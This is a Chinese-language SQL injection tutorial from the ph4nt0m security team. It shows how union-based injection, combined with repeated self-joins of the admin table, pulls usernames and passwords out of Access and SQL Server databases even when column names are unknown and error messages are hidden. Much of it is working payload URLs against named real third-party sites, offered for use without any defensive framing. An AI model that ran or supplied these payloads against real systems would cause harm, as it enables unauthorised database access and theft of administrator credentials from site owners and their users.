直接獲取access、sql server等數據庫數據
author: mix
pst,
ph4nt0m security team
http://www.ph4nt0m.org
當使用sql注入access的時候,經常會遇到密碼為中文、猜不到關鍵字段名這樣的問題。使用本技術就能夠很快速的解決這樣的問題。本技術最低要求有兩條:
1.使用access數據庫的系統(tǒng)存在sql注入漏洞;mssql數據庫也支持這個技術
2.需要知道欲爆數據所在的表的表名以及這個表下的一個字段名,一般都是id字段 
使用本技術顯而易見的優(yōu)勢在于:
1.可以不需要'引號,過濾'引號對本技術沒有影響
2.可以快速的知道敏感數據的內容,而不必像以往一樣慢慢的猜解,中文、特殊字符等等都通殺
3.在sql server屏蔽了錯誤信息之后仍然可以快速得到敏感數據內容
4.可以在不知道關鍵(欲知數據的)字段名的情況下仍然能夠獲取到欲知數據
咋一看可能這個技術很難,其實很簡單。一共有兩個難點,一般的第一個難點在看到結果以后都很容易想到,但是第二個難點卻的確有點點麻煩。
 首先看一個表格,是union的語法。這也是爆出數據的主要原理。如下圖所示:
 
 當我們使用sql inject技術插入union語句以后,只要兩個select查詢得到的列數相同,那么整條sql語句執(zhí)行完成以后,得到的查詢結果就變成了union后面select得到的數據。所以就有可能將我們所需要的數據爆出來。來看一個簡單的例子:
http://www.chinakj.com/softview.asp?softid=3903%20union%20select%20username,password,1,1,1%20from%20admin
這是一個sql server的服務器,關閉了錯誤信息的回報,所以不能夠按照以往的方法直接得到敏感數據。通過sql inject插入union語句以后,可以大膽的猜測到所執(zhí)行的sql語句變成了:
select * from soft where softid=3903 union select username,password,1,1,1 from admin
那么在正常情況下顯示soft第1、2個字段值得地方就會顯示admin的username和password字段,后面的3個1也是同理替代了。按照這個特性,我們當然也可以直接得到admin_userinfo表里面的username和password字段。構造的語句如下所示:
''">http://www.chinakj.com/softview.asp?softid=3903%20union%20select%20username,password,1,1,1%20from%20admin_userinfo%20where%20username<>''
以上就是簡單的利用union來實現對敏感數據的獲取,而不通過復雜的暴力拆解。為了實現在不知道字段名同樣能夠得到其中的數據這個目的的時候,我們當然就應該想到使用*來代替字段名。這樣只要*所代表的字段再加上幾個1的數目和腳本中的select查詢表中的字段數目相同,那么就同樣可以得到不知道字段名的數據了。
 考慮到這樣一種情況,有這樣一條語句:select id,hit,softname,softurl from soft where id=10。其中能夠在網頁中正常顯示出來的字段是softname和softurl,那么我們在使用union的時候就應該調整*所在的位置,一般admin表中結構為id username password,那么在注入上面這條假設的語句的時候就應該這樣構造sql語句:select 1,* from admin。使*所代替的username和pssword字段處于softname和softurl兩個字段的位置上,這樣網頁才能夠將我們想要得username和password字段乖乖的交出來。當然這里只是最簡單的一個例子來說明,有很多時候一個表里面可能有十幾個字段,我遇到最長的是四十三個字段。那么腳本中使用select *來做查詢的話,我們在構造union select就應該用1湊數到四十三個字段。其中當然是會有一些字段不被網頁顯示出來,這就需要考慮union select后面的*號所在的位置了。相信這個應該不用我多說了。
上面說的語法完全符合sql server。但是access和sql server相比較,真的是小巫見大巫了。在sql server里面,當我們使用select *,1,1,1 from admin語句查詢得到的記錄集合分別是:* 1 1 1。但是在access當中上面的這條語句查詢的結果是1 1 1 *,也就是說無論你將*號處于這群1中間的什么位置上,*所代表的數據總是處于查詢結果的最后面。用一個復雜點的例子作說明:
http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)
這個站點使用的是access數據庫,可以看到能夠正常顯示出來的字段是2、3、7、8、10、11,而后面的字段卻不會顯示出來,去掉14,15,16換上*號,頁面同樣顯示出數字,也就是說admin中的字段數是三個,肯定是id username password這種結構,但是除了id字段其他的字段都不能夠被猜測出名字。按照在上面sql server中所使用的方法移動*號的位置以求能夠將敏感數據爆出來,在access中是不可行的。原因是access始終將*好所代替的字段放在查詢數據集的最后面。access查詢出來的結果永遠都是:1,2,3,4,5,6,7,8,9,10,11,12,13,*這個樣子。為了將*好所代替的字段表示出來,我們必須將*所代替的字段移動到其他位置上。先看結果:
http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id
 通過這樣構造的語句的執(zhí)行,最終查詢得到的數據形式是
1 2     3    4    5   6     7    8   9     10   11   12   13   14   15    16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd
其中第3和第7個字段正好就是我們想要得username和password字段的值。這里我使用的是join語法,將兩個表連接(相加)起來從而構造得到這樣的一個滿足我們要求的查詢結果。
join分為全部連接、左連接和右連接,具體區(qū)別可以去查看sql語法。在這里,access中我們不管選擇哪一種連接方式效果都等同于全部連接。看一個簡單的join語法
select *
from (表1 inner join 表2 on 表1.序號=表2.序號)
inner join 表3 
on 表1.序號=表3.序號
轉換為實例就是:
select 1,2,3,4,* 
from ((admin as a inner join admin as b on a.id=b.id) 
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id
按照這種格式就可以把上面的那個url真正執(zhí)行的sql語句解出來,無非就是不斷的使用join連接數據表admin,然后通過1來補齊前面的字段數目。只要語句構建得當,那么不知道字段名的數據全部都能夠在頁面中顯示出來。這就是這個技術的難點所在了。
好了,全部都介紹完了。如果想把這個技術寫成程序的話,也是很有可能的。只不過在語句結構構造的時候最好還是使用人腦吧~~~呵呵